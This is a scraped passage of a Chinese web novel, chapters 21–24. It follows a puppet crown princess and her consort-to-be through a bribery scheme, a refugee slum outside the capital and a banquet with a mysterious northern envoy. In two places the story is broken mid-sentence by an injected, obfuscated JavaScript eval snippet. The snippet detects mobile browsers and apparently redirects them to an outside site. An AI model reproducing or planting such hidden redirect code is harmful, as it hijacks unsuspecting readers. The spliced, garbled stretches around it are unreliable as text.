乌远恍然大悟。这不仅是兄弟争权,三公子这是要罗织罪名,将他二哥置于死地。 风险巨大,可回报也同样惊人。免去站队的麻烦,一旦功成,便也成了三公子谢绰的心腹。两面下注,稳赚不赔! “不贵!不贵!”乌远激动得脸都涨红了,他猛地站起身,将那锦袋双手奉上,对着谢琚的方向,一拜到地。 “是下官愚钝,是下官愚钝!下官……全凭君侯……不,全凭郎君吩咐!” 盛尧被他这突如其来的大礼弄得浑身不舒服,却知道事情已成,矜持地点点头:“乌大人想通了便好。钱留下,三日之内,静候佳音。” 她想了一想,又道,“乌大人,咱们明人不说暗话,这钱既然入了三公子的账,你在二公子那边的路子,最好就先断一断。” 此刻卷入了谢家兄弟之争。劝他别干两头不讨好的事情,乌远怎么不晓得?立马连声答应,满脸堆笑地朝后退着出了门。盛尧的心还在卜卜狂跳。偷偷看了一眼身旁的谢琚,他正拿着一块桂花糕悠闲地吃着,好似方才什么都没发生过。 可盛尧分明看见了。 那个被他用茶水写下的“绰”字。 乌远绝不敢去向谢充报案说“我把钱给谢绰的人了”,也不敢去找谢绰对质,当然因为他本意是想投靠谢充。 盛尧从坐榻上霍地站起,绕过桌案,走到他面前。 俯下身,双手撑在谢琚身侧的案几上,将他整个人圈在自己与桌沿之间,替自己加多些威压。 “你。” 她凑得很近,能看清他睫毛细微的摇动,尽可能冷淡地问,“想要做什么?” 谢琚抬起头。明白澄澈的眸子,无辜地对着她。 装什么呢!盛尧伸手便要去拽。 叩叩。 门外又响起人声, 两人朝外看时,只听雕花格外有人朗声笑道, “听说贵人在此访求外官,咱们北方来的,也想在都中谋个职司,不知殿下可否通融?” ——殿下。 帝室凋零,此时都中除了她这个皇太女,还有几个殿下? 盛尧不及搭理谢琚,反手抄起案上佩刀,一把将门拉开。 21. 怒火 门外却不见什么北方客,只有一个满脸堆笑的酒楼伙计。 “贵人,”伙计点头哈腰,“方才楼下有位客官,说是听闻您在此,特让小的来问一声安。” 盛尧毛发竖立,“人呢?” “问完就走了,说是……”伙计见她手里拿刀,一缩脖子,“说是‘他日北面相逢,再与贵人把酒言欢’。” 北面!翼州! 楼下传来一阵大乱。桌椅被撞翻,一群人尖叫怒喝。 “抢劫啊!” “抓住他!” 盛尧三步并作两步冲到窗边,推开窗扇朝下望。 下头已乱作一团,食客们四散奔逃。一个穿着灰色短打的汉子,手里抓着东西,正从桌案翻过,朝着门口冲去。 那汉子身手矫健得不像寻常劫匪,几个闪身便避开了伙计和护卫的围堵,眼看就要冲出大门,混入街上的人流。 “阿览,记得拿钱!”盛尧从楼梯往下一跳。她身形轻盈,兜着廊柱滑到地面。 几乎是同时,那灰衣汉子也冲出了门。 “站住!”盛尧厉喝一声,一挥腰刀。 郑小丸早已从另一侧的楼梯跳了下来,见盛尧追出去,提剑赶上。卢览一把够起桌上乌远留下的漆盒,奋力塞进怀里。 可待到追出酒楼时,长街上车水马龙,哪里还有什么北地来客的半分影子。 盛尧站在街边,教寒风刮得脸颊生疼,才刚刚起步,便已被人盯上,还如此轻易地暴露了身份。 “殿下!” 盛尧顺着小丸指的方向看,一枚乌黑的铁制箭簇。箭头三棱,开了血槽,形制与中原常见的柳叶箭截然不同。 是北方边军惯用的破甲箭。 大约故意留下的。 “殿下,这人是不是翼州高昂派来的探子?咱们……” “可能是。”盛尧将箭簇攥在掌心,“得追上他。”她下了决心,又重复一遍,好似对自己说,“得追上他。” 可那人早已消失得无影无踪。盛尧扫视四周,就要去寻坐骑,正在此时,街对面,谢琚坐在那匹名为来福的白马上,身旁一匹枣红色的健马,鞍鞯齐备。 “阿摇,” 他看见盛尧望过来,偏一偏头,将那枣红马的缰绳朝她递了递,仿佛只是恰好在此处等她。 盛尧也顾不得许多,翻身上了那匹枣红马。 “阿览,你先回宫,设法将此事遮掩过去!”她勒住缰绳,对卢览匆匆吩咐,“小丸,你带几个人,从东街绕过去,看能不能堵住他!” 说罢,她一扬马鞭,枣红马长嘶一声,便要追出。 “阿摇。” 谢琚控着白马,微微一笑,应声道,“不等我吗?” “跟上!”她喝道,双腿一夹马腹,两匹骏马一红一白,卷着风雪,消失在长街的尽头。 二人循着箭簇记号,一路纵马疾驰。那记号居然连续不断,渐渐偏离了都中繁华的主街,拐入愈发偏僻狭窄的巷道。足足追了半个多时辰,坊市被丢在后面,远远能看见城墙延展开来,护卫被他们甩得很远,但盛尧不曾停下。 谢琚左右看看,有些犹豫要不要让她别再向前,这地方…… 地上泥泞,混杂雪水,挟夹着酸腐味。两侧窝棚东倒西歪,寒风从无数个窟窿里灌进去,漏出鬼哭似的呜咽。 有具干枯的尸体横在道边——说是道路,其实只是些稍微不泥泞的土地罢了。 臭味,即使是寒冬也盖不住。盛尧勒住马,酒楼里吃的餐食在胃里翻涌,但也抿紧嘴唇,逼自己朝第二具尸体望去,这一具半拉浸泡在雪水里,有的地方膨起来,有的地方还是干瘪的。 “这是什么?” 谢琚明白她的意思,但难以和她说什么。这便是都城之外的“郭”,是那些无地无籍的流民、乞丐与罪囚的聚集之地。 寒冬腊月,许多人身上只有单薄的破布,赤着脚踩在冰冷的泥雪里。冻得嘴唇发紫,窝在一起。 马匹经过一个辨不清年岁的女人,靠在边上哼哼唧唧。几个半大的孩子,正围着早已熄灭的灰烬挖来挖去。 放眼望去,满目都是寡淡枯萎的寒冬。 盛尧勒住缰绳,呆呆地看着。她晓得有“易子而食,析骸而爨”的惨状,却从未想过,这般人间地狱,居然存在于离宫墙不过十几里之遥的地方。 被幽禁十年,所见最苦,也不过是别苑里宫人偶尔的抱怨。可这里是都中啊,天子繁华市,人间富贵家,不过十数里外,就有如此惨烈的场面。 “他们……”她左右四顾,甚至有些惶恐,“他们是从哪里来的?” 这两匹马实在是过于显眼,惊动了附近的流民,一些人抬起头,打量这两个衣着光鲜的少年官宦。 一个须发皆白的老者,拄着一根树枝,颤颤巍巍地走了过来:“贵人……?” 这口音听起来有些耳熟,“老丈,”盛尧翻身下马,摸索身上的钱袋,“你们是岱州来的?” “岱州杀人了!”老者接过钱,流下两行泪,“州牧要量土地,官差一来,说收就收……” “能上哪去?一人几十个钱,官里教咱们去都城,中都这样大,有活路。” 老者抬起手擦拭,皱缩的皮肤上粘得老泪纵横,“捱了来,城门不让进,官府也不管。不教人等死么……” 田昉! 虽然是冬天,却禁不住流下汗来。盛尧紧紧咬着牙。 才不是什么天灾,这就是场人祸!田昉为了推行他的新法,顺便给谢巡使个大大的绊子,将人用一点微不足道的钱打发,故意将他们驱赶到都城来! 但随后而来的,是更加汹涌澎湃,将人包卷的,对自己的怒火。生于锦绣堆中的人,又何曾真正见过这世间的苦? 她自小便在别苑听幽禁中的宫人们叹息薄命,但生平最困苦之际,便是在太庙中等待死亡的那一瞬——可那也只有短短一瞬。死便死了,哪里经受过这样哀哀垂死,欲哭无泪的日子? “不,”忽然有个妇人幽幽地在老者身后道。妇人怀中抱着个干巴巴的孩子,大约是饿得久了,连哭的力气也无,只一双枯涸的大眼睛望着天空。妇人拍着他的背,嘴里颠三倒四地念叨。 “会好的,阿囡,会好的……听说了吗?天降祥瑞,有神女降世,要当皇帝了,她会救咱们的……” 旁边一个汉子吭哧笑出声。 “神女?哈哈!”汉子身上裹着不知从何处捡来的麻布,脸上冻得青紫。仰着头,上气不接下气, “在哪儿?神女要真是有眼,怎么看着人活活饿死、冻死?咱们一路从岱州逃到这里,连城门都进不去!” 妇人丝毫不为所动,仿佛不曾听见一般,抱着孩子的手臂紧了紧,只是喃喃道:“会来的……神女会来的……” “别做梦了!”那汉子拼着力气,呸了一声,“谁信!都是狗贵人编出来骗咱们的!他们吃着山珍海味,哪里知道咱们这些蝼蚁的死活!” 天地之间,仿佛只剩下盛尧一个人,这人好似就是在问她。 是啊。 神女在哪儿? 神女就在这里。穿着一身不属于自己的男装,骑着一匹不属于自己的马,像个看客一样,居高临下地看着这些人,在绝望中慢慢死去。 是她。是她的谶纬,是谢巡为她铺就登天之路的基石,是她在嘉德殿上与诸侯使者周旋的唯一依仗。< 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二人纵马狂奔,顾不上辨别方向。跑了一会儿,马蹄下的路渐渐由泥泞变得坚实。 是一座废弃的陶窑。窑身依着缓坡倾斜向上,土砖垒砌而成,窑顶上挣扎着长出一枝干虬的柏树,在寒风中遥遥在望。 “先进去躲一躲。”盛尧楞楞地指道,谢琚在她身后下马,牵着马缰,不发一语。 窑内比外面更加昏暗,显得空旷而压抑。光线从窑顶的裂缝和两侧的投柴孔中滤过,在冬日空气中,抖着微小的细尘。 盛尧回头望望,见无人追来。就在这稍稍松懈的瞬间,宛若石子滚落的声音,从窑外传入。 她心头一惊,拔出腰刀,厉声喝问:“谁!” 没人应答。 忽然面前一暗,谢琚上前一步,将盛尧挡在身后。背着窑壁,目光沉沉地望向外面。 寒窑外头,有个熟悉的清朗声音漫不经心地道: “殿下现在见的,还少的很呢。目下天冷,能熬到都中的不过十之一二。再过一月,待到暖和些,岱州怕是还会有数万流民涌来。到时候,这小小的城郭,又如何容纳得下?” 盛尧回头,只见巷道尽处,一个穿着暗色长袍,外罩一件灰色旧氅的青年,立于傍边窝棚阴影下。 正是酒楼下那个。这人背着光线,看来身形高挑,于这破败颓唐之地,颇有一种沉静坚韧的气度。 “酒楼里是你?”盛尧问,“那抢劫的汉子,也是你派来的?” “怎么不是帮了皇太女殿下?”青年也不再脸红,意有所指,“……西市酒楼遭了北方的强人,听说丢了好些财物。” 盛尧将信将疑。但这个人确实是在帮她。谢充就算查起来,也只会以为是翼州的人搞鬼,又或遭了寻常劫匪,绝不会怀疑什么深居简出的傀儡皇太女。 “至于殿下这边……谢四公子,久闻大名。昔日三胜乃兄,名动都中。不知有何良策,能解眼前之困?” 他忽地摊开手,对着这满目疮痍,对着这哀鸿遍野,居然一笑。 “也算是在下献给殿下的‘程仪’,你我可否一叙?” 盛尧横刀上指,晓得这人蹊跷,但经过这一路,心里却不明不白地,觉得很是惭愧羞耻。正要开口,却见身旁一直沉默的谢琚,缓缓抬起头。 脸上仍是那副沉默的神情, “你说完了吗?”声音依旧轻和, 那人一怔, “说完了,”谢琚前行两步,拔出腰间佩剑,衣袍在昏暗的巷道里,宛如一团燃烧的白色火焰。 “就滚。” 22. 做一个美丽废物 谢四公子大怒。 谢琚这辈子,最讨厌三样东西:累,蠢,和麻烦。而今天短短几个时辰里,盛尧就把这三样全占了。 从小皇太女决定要亲自上阵“黑吃黑”开始,这事儿就从头到脚都透着一股鲜亮的愚蠢。 现在愚蠢的气味搅合成了一场风暴,要把他精心打理的狐裘和前几日好不容易养回来的好心情统统毁去。 耐着性子,忍着恶心,陪她躲进这个破窑洞,已经是涵养的极限。 这是策略,让她吃点亏,免得她以后全不顺着他的指点,再想出什么“劫富济我”的疯狂主意,顺便在关键时刻,考虑一下要不要拉她一把。 可惜没能维持太久,当遭那“神女”质问时,一股无名火就从心底里烧了起来,烧得五脏六腑都疼,比那日拿箭指着他的三哥,更难以忍受。 拿一群将死之人的性命,来作攻讦的武器?真有本事,就拿出真金白银来赈济流民,拿出刀兵来清算田昉! 站在这里,对着一个自身难保的傀儡指点江山,算什么英雄好汉?不过是另一种形式的“清谈”罢了,读书人最令人作呕的自我感动。 于是,当那人还想继续这麻烦时,谢琚没能耐住性子。 一抬眼,就看到小皇女煞白的脸。紧紧地握着刀,像是震惊又羞愧,还有种被当头一棒打蒙了的茫然。 三言两语,就变成了这副可怜兮兮的样子。 凭什么? 谢琚下颌紧绷,自己也不知道心头那股邪火是从哪里冒出来的。她怎么犯蠢,那是她的事。轮得到你一个不知道从哪里冒出来的野狗龇牙咧嘴? 策略?去他的策略,美玉琼琚的脾气,从来就不曾好过。 眼前有个很烦人的麻烦。能砍吗?能。把麻烦砍了,问题就解决了。 因此当那人还在等着看好戏时,他便上前一步,拔出了剑。 士子佩剑,蔚然成风,这柄剑平日里只是个装饰,剑鞘华美,可抽出来的剑锋,却是淬过火开了刃的真家伙。剑光在昏暗的陶窑里一闪,映出他脸上那抹冰冷又危险的神情。 那青年显然被他这突如其来的转变惊得不轻,也便后退两步,手上按剑,神色戒备。 谢琚见他后退,更是心头火起,举起手,剑便要挥出。 却被旁边这小皇女拽住。 “他是高昂的人!”盛尧厉声对他说,“你杀了他?” 谢琚转过头,冷漠地盯着她。盛怒之下,忘了伪装,甚至气得有些好奇,她看不出来这个男人是在羞辱她吗?居然还护着他? 手腕一振,就想挣脱。 “把剑收起来!你疯了吗!” 哈?谢琚甚至仰头轻笑一声,转过头,冰冷地自上而下睨她一回,仿佛在说,我本来就是疯的。 这情状把盛尧噎着了。她一边忙着与谢琚角力,一边转头对巷口那人道:“阁下既然知道我的身份,便该知道,不过是桩生意,与翼州没什么关系!” 那青年见他们两个拉拉扯扯,脸上显得玩味。不慌不忙地看着这般古怪。 “殿下。”他压根儿没理谢琚,只是对盛尧笑道,“看来您这位未来的‘中宫’,脾气可不怎么好啊。” 中宫。没错。 盛尧将抓着谢琚的手丢开,左手将散下的头发朝后一捋,拽起刀,架在剑上, 她背对着那青年,仰起头,盯着谢琚。 “你要做中宫么?”她大声道,“我是主君!” 这话居然出人意料得好使,当的一声,谢琚怒得将长剑掷在地上。背过身去。 盛尧松口气,还好还好,既然应该不是个傻的,还知道当皇后,那就好办多了。 截胡谢充卖官钱这事儿,本来就是兵行险着。冬天,都中外官不多,郑小丸他们江湖出身,办事不妥当时露出马脚,也是常理。 要不然就是有人泄密。害!既而要做事,总是有人泄密,也不算什么。 她的钱!只要钱拿到手里就好,这些人,再想办法对付。 盛尧寻思,这北方青年蹊跷得很。处心积虑地将她引到这流民郭。 此时正笑吟吟地。也不待她说什么,十分体贴地告诉她此处不便详谈,邀请她换个地方。而后大言不惭地选了个西市最喧闹,人多眼杂的酒楼,言说备下薄酒,恭候大驾云云,又向谢琚一礼,却看起来也不太礼貌。 好在谢琚是不曾看见的。压根就没有再给她和这青年半个眼色。 盛尧不是很懂,也就感觉有丁点儿内疚,但和今日所受的冲击相比,委实算不得什么。谢家四郎傻是不傻,与这流民郭的数千人命比起来,实在是不值一提的。 回到别苑的路上,一路无话。 真正的无话。半句也无。 谢琚肺都要炸了,面上却恢复了那副平静安闲的样貌。骑在白马上,与盛尧隔着半个马身。目光悠然地看着都中街景。 好啊,真是好啊。有人耐着性子,又是戴铃铛,又是当饭搭子,一点点地引她,就盼着她能稍微开点窍,别总走些愚蠢的险棋。谁知道亲手递出去的刀,转头就捅回自己身上。 人家随便摆出一副民间疾苦的样子,她就立刻愧疚得好像自己是千古罪人。最后还要用“我是主君”这种话来压他。 你厉害。你清高。你去忧国忧民。 我,谢琚,好端端的做我的中宫,这皇太女的破事,谁爱管谁管。 谢琚气得倒仰,盛尧心里却乱糟糟的,一半是城郭外那地狱般的惨状,一半是这北方来客的神秘身份,实在没精力再去安抚什么闹脾气的鱼。 一进别苑,谢琚便翻身下马,将缰绳丢给侍从:“殿下,臣先告退。” 礼仪端正,连“阿摇”都不叫了。 他走出两步,又回退半步,后面跟着的侍从差点与他撞到,吓得赶紧左右退开。最后凶狠地看盛尧一眼,不等她回应,襟袖当风,径直朝着西厢房走去,决绝,全身上下,连铜铃铛都得闭嘴。 “殿下!” 卢览和郑小丸早已等得心急如焚,见她回来,连忙迎上。 “您没事吧?那人到底是谁?中庶子怎么……”卢览一连串的问,夺夺夺地让盛尧脑子又有点儿发昏。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818221|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢说。” 盛尧摆摆手,将事情的经过简略一说,着重讲了那北方青年的事。 “翼州的人?” “这事可大了!”卢览急得团团转,“高将军全不表态,大家都以为他会第一个发难。可这么说来,他早已派了探子潜入都中,还晓得咱们行踪!” 盛尧点头,是啊,立皇太女这么荒唐的事情,大将军居然不置一词。要知道北军可是惯于寒冷作战,不趁冬天发兵,实在是不同寻常。 郑小丸非常内疚,觉得寻访外官这事儿做得很是不妥当,盛尧摸摸她头,以表安抚。 “没事,”她将那北军箭簇一抛一接,“我去见他。” “还答应去见他?”卢览立马着急,“身份不明,动机不纯,万一是陷阱怎么办?” “是闹市。”盛尧琢磨,“他总不能在光天化日之下把我怎么样。人家来探咱们的底,咱们也得探他的底。翼州到底是个什么态度,需得知道。” 更重要的是,忘不了那些在泥沼中挣扎的眼睛,和那句“神女会来的”。这心事却不曾与她们说,但要她再躲在别苑这个龟壳里,对着舆图纸上谈兵,她觉得自己脸又要红了。 “要去也行,但也得小心。这个人,比谢家那几个兄弟,只怕更难对付。” “是,”盛尧拍拍自己的脸,“别苦着脸啦,咱们现下有钱了。” 有钱了! 这三个字仿佛带着魔力。 当晚,盛尧寝殿的内室里,房门被从里面紧紧拴住。一盏灯,三个凑在一起的脑袋。 卢览搬出那只漆盒,划拉倒在桌上。滚出来的不仅有金饼,还有几卷用丝带系好的锦缎,以及两对用锦盒装着的白玉璧,一看便知价值不菲。 “我的天爷……”郑小丸倒吸一口凉气,眼睛瞪得溜圆。伸手拿起一块最小的金饼,在手心里掂掂,“这么沉!” “沉!”卢览左右翻翻:“金饼五斤,蜀锦四卷,还有这两对白玉璧……乖乖,这乌远为了个郡丞的位子,可真是下了血本!” 她一拍桌子,将那堆财物拢到自己面前:“可惜不能再来几次!有了这些钱,咱们便能绕开外府,自己采买兵器、良马、药材!老东西,再也别想用钱粮来拿捏我了!” 盛尧叉起腰,也嘿嘿地乐。 钱真是个好东西。 既然能喂饱她的内卫,接下来便去试试喂饱那些流民。 试试便试试。 而此时的西厢房内,谢琚已经换下满身尘土的白衣,重新穿上他最喜欢的一件茜色袍子,整个人懒洋洋地倚着,将脸埋在温暖的锦缎里,只露出一双眼睛。 很好,暖和,没有泥泞,也没有死人。 让那个小“主君”自己去跟北方玩吧。谢四公子下了决心,从今天起,他谢琚就是个彻头彻尾的美丽废物。 君王城上竖降旗,妾在深宫那得知? 天塌下来,也跟他一个中宫皇后,没有半点关系! …… 第二天,都中最热闹的西市。 谢琚牵着白马,一步不离地,跟在盛尧后头。 23. 鱼与熊掌 事情是这样的,事情是这样的,谢琚昨天回了西厢房,下定决心,立过重誓,此生再不管盛尧的死活。 斩钉截铁,掷地有声。不曾撑过一个晚上。 大清早,侍从就带回消息:殿下找着郑都尉和卢姑娘,又打算出宫了! 去哪?去见那个北方来的混账! 很好,谢琚咬着牙沉思,天要下雨,兔子要作死,拦不住的。连眼神都欠奉一个。 私底下却见盛尧条条与她们嘱咐,郑小丸铿锵有力的领命,甚至发现崔亮派来的人在院墙外探头探脑。 他通通不理——中宫皇后。中宫皇后是管不到外朝事务的! 直到盛尧一身利落的男装,腰间配刀,英姿飒爽地准备出门时,一抬头,就看见了这位皇后娘娘。 谢琚牵着那匹叫来福的白马,安闲地立在晨光熹微的雪地里。 他今日又换回茜色长袍,外头依旧是那件雪白的狐裘,眉目清举,宛如冰雪塑成的仙人,马上就要乘风归去。 古人云,王姬有行,车服不系,故得卫青上将,张耳贤夫。 眼看盛尧也要如此潇洒质朴地溜出去,谢四公子便即刻优雅,闲适,且严丝合缝地堵住了整条路。 盛尧:“……” 她往左边挪了一步。 谢琚牵着马,也平平地向左移了一步。 她往右边跨了一大步。 谢琚与来福,也闲庭信步般地向右挪了一大步。 青年脸上带着清浅温和的微笑,侧着一边脸颊,望着她,好像在问:阿摇,这么巧,你也要出门吗? 盛尧犹犹豫豫,试图打破这尴尬的沉默:“那个……你昨天……” “嗯?”谢四公子眸光清澈,茫然无辜得恰如其分,“昨天怎么了?” “昨日不是还很生气?” “有吗?”他微微偏头,“阿摇记错了罢。” 深以为耻,云淡风轻。 * 西市。 中都城的西市实在热闹。这里不似东市有齐整规划,各种幡旗行市混杂在一起,喧气冲天。 盛尧出宫几次,今天总觉得都中游徼又多了些,心里打鼓,想起那日夜里都亭长盘查,文书里提到接人首举,有细作潜入宫城。 唔,现而今这细作嘛……显而易见! 但愿今日之约也能安稳地瞒过司隶校尉,只求这些北方人把事情做得更谨慎些。她整整身上的郎官打扮,在这街市里,确信自己毫不起眼。 除了自个身后那位。 盛尧骑着马,忍不住偷偷瞟谢琚一眼。他骑术极佳,身姿挺拔,即便是在人声鼎沸的街市中,也犹有光华自照,白璧生香。若不是知道他底细,任谁看了,都会以为这是哪家出来冶游的公子王孙。 “阿摇,”他温柔地问,“你在看我吗?” “没什么,”盛尧被抓了个正着,连忙移开视线,“今日天气不错。” 谢琚轻轻“嗯”了一声。天气不错。待会儿有你哭的时候。 那北方人选的酒楼,就开在西市最嘈杂的地段,门口人来人往,三教九流混杂。盛尧做好心理准备,正要进去,手腕却被拉住。 “急什么?”谢琚下了马,站在她旁边,冷淡地俯身,“让他等。” 盛尧一愣,随即明白过来。 对,她是皇太女,哪有巴巴地赶着去见一个身份不明的探子的道理? 她定定神,紧张也奇迹般地平复了许多。 这一等,便是半个时辰。 待到盛尧与谢琚终于悠闲地踏入二楼雅间时,那北方的青年公子已喝干了三壶茶。 见二人入内,他并不着恼,反而温和起身一揖:“殿下好大的架子,让在下好等!” 现今凑近看时,这人约莫二十出头的年纪,穿着一身青色锦袍,腰束犀角带,宽肩窄腰,颇有些干练。然而又生得十分清疏温雅,颊侧存着个小涡,笑起来时嘴角微扬。 “在下姓庚,”青年为他们斟上热茶,丝毫不见谄媚,像招待两位寻常朋友,“草字子湛。” 他目光在盛尧身后轻轻一扫,便挪了开去,仿佛那也不过是寻常小子,全不放在心上。 “子湛先生,”盛尧在他对面坐下,心里的小鼓敲得飞快,“想必久候了。” 这人姓庚。她仔细在心中过了一遍,朝中世家,并无姓庚的高官。听着就不大正经,也不知是哪座山头上取的假名。 “不久,”庚子湛也不多寒暄,只轻轻拍手:“累得殿下昨日辛苦。子湛今日备了几道薄酒小菜,以此洗尘。” 雅间的门被推开,有侍从鱼贯而入,手中漆器铜盘罗列。 四下慢慢溢起精心调制的奢靡香气。 薄酒小菜,盛尧看一眼,便觉得这姓庚的青年,是故意的。 "这是什么?"她问。 庚子湛不回答她,掂起旁边三寸长的小银刀。刀下是只烤得金黄的乳猪,皮色晶莹,犹如蜜色琥珀。他不动手,只是与盛尧让道: “殿下,这炮豚最精华是一层皮。与敝厨下嘱咐过,不能用瓷盘盛,瓷散热太快,须臾间皮便塌了。得用赤金为托。“ 啊?盛尧瞪大眼睛,目光在那只猪和那金盘子之间来回打转。 这是哪门子的讲究?猪皮怕冷么?她都还没用上赤金的暖炉呢! “金性温润聚热,金盘托出,才能显得富贵逼人。”庚子湛没管她眼里的震惊,只当她是没见过世面——虽然也确实如此,手中银刀划过,咔嚓一声脆响,切下四四方方的脆皮,推在面前。 他见盛尧紧盯着自己,轻松地与她分说: “忌讳用铜铁俗物。铜刀带腥,铁刀带锈,沾了热油它焦香便毁了。纯银刀,银性寒凉,正好压得住燥火与油气。殿下,请。” 盛尧:“……” 还是个讲究人呐。 她捏着筷子,一时不知该如何下手。要是这一口下去没尝出银子的寒凉味儿,是不是还得怪她的舌头? 总之被他说懵了,没敢动筷。 边上侍从以为她不喜欢,忙着换上一道。鱼片切得细致轻薄,透明又洁白,撒着香葇、杏腻子,边上小碟金黄酱料,堆垒成花朵形状,显得婉约可爱。 “南人的‘金齑玉脍’,”庚子湛将银刀一并,热情地指点江山,“乃是泖水的四鳃鲈鱼,为求鱼肉细嫩,长不能满三尺。若只给殿下配点寻常酱醋,那是村夫行径。” 这豪奢的青年公子倾身向前,眉目如画,引诱般的续道, “此处有霜降后的黄橙,切成细缕拌上金雀花蕊。”他敲敲盘子,“器物不可用金,金则俗;不可用银,银则败色。使得几个黑漆木盘,黑白分明,才能观其肌理,漆木温良雅润,也不伤鱼肉馨鲜。” ……他在骂我。盛尧有点心虚,低下头,自己平日里就爱蘸点醋吃鱼。 尔后一小盏精糯米团饼,羌胡菜色,拌羊骨髓蒸过,边上蘸酱居然是生的鹿舌。 盛尧也瞠目结舌,总觉得这些世家大族,比起天子御膳,恐怕还要古怪考究。最后端上来的,又有一尊青铜小鼎,鼎下炭火微红,咕嘟着浓白肥溢的汤汁,香味扑鼻。 “咱们北地熊掌,乃是山中霸主。”庚子湛微笑,为她盛了一勺汤,“经烈火三献,煨煮时浇上蜜蜡封顶。都中不愧繁华,有这秦时铜鼎,锁得住丰膏腴润,熬出这等醇厚浓香。” 银刀、漆盘、青铜鼎。 金齑、乳豚、熊掌。 教人窒息。天下四方的穷极奢靡,被他使这般风雅的语调娓娓道来。 盛尧盯着金碟中滋滋冒油的猪皮。油亮,让人想起城郭外那具泡在泥水里,已经浮肿发亮的尸体。 这里的任何一道菜,甚至任何一道菜的边角料,都够让几个人,多活上几天。 “神女在哪儿?” 神女就在这里,听着关于金盘黑漆的讲究,对着一桌子能买下半条街的菜肴发呆。 唉,头很疼,胃里也难受。 盛尧瞪着庚子湛,恨不得将东西掀在他的脸上。此刻没悍然动手只是因为菜色昂贵,这人长得也实在好看,掀上去有点浪费。 “殿下为何不动箸?”庚子湛将那片用银刀切好的脆皮又推到她面前,“嫌弃咱们这北地的吃法,太过粗鄙?” “子湛先生,”盛尧四下转头,迎上他的目光, “这顿饭,你花费的可不少吧?” 庚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我可以试试。” 庚子湛脸上的笑容不减,颊侧的小涡却淡了下去。 青年凝视着盛尧,好像想从少女的年轻脸庞上,称算出到底有多少份量。 “殿下愿意‘试试’。”他最后赞叹,往后倚靠,为自己斟上半盏酒,姿态潇洒,“子湛愿捧金盘,助殿下一臂之力。” 这唐突的善意让盛尧心生畏惧,天下哪有白吃的饭——更别提白吃的熊掌了。 还未及细问,庚子湛却话锋一转,眼角扫过谢琚,很是锐利: “殿下有多久没见过丞相了?” 盛尧费解,这人太怪,怎么完全跟不上他的思路?吃饭就吃饭,怎么还点起卯来了? “问这个做什么?” “殿下只管回答便是。” “……有月余了。” “那可真是太久了。”庚子湛摇头,目光幽深,“殿下就不怕时日一久,生分了么?” 太久了?盛尧完全不明白他是什么意思。一个权臣,一个傀儡,见与不见,又有什么分别?难道见得多了,谢巡就会对她这个幌子生出多少温情不成? 生分?就没熟过! 她正自困惑,却见庚子湛忽然倾过身,越过满桌的珍馐佳肴,凑近了些。一股混杂着酒气与北地松香的气息浮泛而起。 他仔仔细细地打量着她的脸,目光清利得仿佛要将她所有的伪装都剥离开来。 盛尧吓得向后微仰,余光瞥见身旁的谢琚已放下了筷子,单手按桌,侧着头,一双幽沉的眸子静静地看着。 叮铃。 腕间的铜铃,在这寂静的对峙中,不合时宜地响了一声。 庚子湛目光移过她身侧,嘴角勾起一抹极具挑衅的笑容。 他看回盛尧,将目光又转向她的喉咙,那里的线条,终究比寻常男子要柔和许多。 这北地的青年带着令人不安的暧昧,附耳与她道: “殿下既然已经有了皇后,” 他坐回身,悠悠地问, “是不是……还能多个妃子?” 24. 万一被废了 盛尧觉得自己的脑子大约是被这些奢侈玩意给熏蒙了,以至于每个字都听得懂,合在一起却完全不解其意。怔怔地看着庚子湛,好半晌,才从那张带笑的面容上,艰难地拾掇回自己的神思。 这人怕不是也有什么疯病。她下意识地朝谢琚看去,想从他脸色里寻摸出点什么,譬如“这人是谁”或是“他想干嘛”。 可谢琚就回复成了一尊完美无瑕的冰雕,动也不动,打定主意不去看她。此时眼睫低垂,只反复捻着手里的茶盏边缘,好似正在思考要把它砸到谁的头上。连青珊瑚耳坠,也安静地贴着颊侧,不曾摇晃分毫。 “子湛先生,”她狐疑地开口,“你是不是……也有什么旧疾?” 怎么如今都中的聪明人,都流行说些疯话?一个要当皇后,一个要当妃子,这储君之位,难道是什么招揽怪人的幌子不成? 庚子湛先是一愣,突然大笑起来,笑得前仰后合,连颊侧那个小涡都加深了许多。 “殿下有趣。”他好容易止住笑,擦了擦眼角,“在下身子康健得很,并无旧疾。只是上回在三日醉楼下,只能远远瞧见,” 酒楼底下果然就是他,这年轻人唇角勾起, “今日总算能大大方方地坐在殿下对面。” 盛尧抱着手臂,一声不吭,等他把话说完。如此蓄谋已久的蹊跷人物,鬼才信他。 “所以呢?这是什么意思?” “意思便是字面上的意思。”庚子湛悠然一笑,绕过视线,真的朝谢琚举了举杯,“在下不才,愿为殿下分忧。中宫既定,储贰未立,多一人辅佐,嗯,殿下,所谓多子多福嘛?” 是一回事吗!盛尧把茶盏一撂。 叮铃。 她转头,见谢琚端起茶盏。青色在颊边轻轻一动,映着寒冰般的脸色,蒸腾的热气都骤然少了些许。 “殿下既然与谢充作对,显而易见,殿下与谢家,并非一条心。” 庚子湛权当不曾看见,或者说他就是故意的,只是笑眯眯地对盛尧说, “当今天下,礼乐征伐,不出于人主,诛暴选贤,议在于强臣。” 他身子前倾,压低声音,像是在说什么诱人的秘密:“殿下,丞相当真是铁了心要扶立一位女皇帝吗?您的皇后姓谢,已经是万事俱备了,可为何您至今仍未登基?又为何迟迟不与四公子大婚,以‘阴阳合德’之说,坐实这天命呢?” 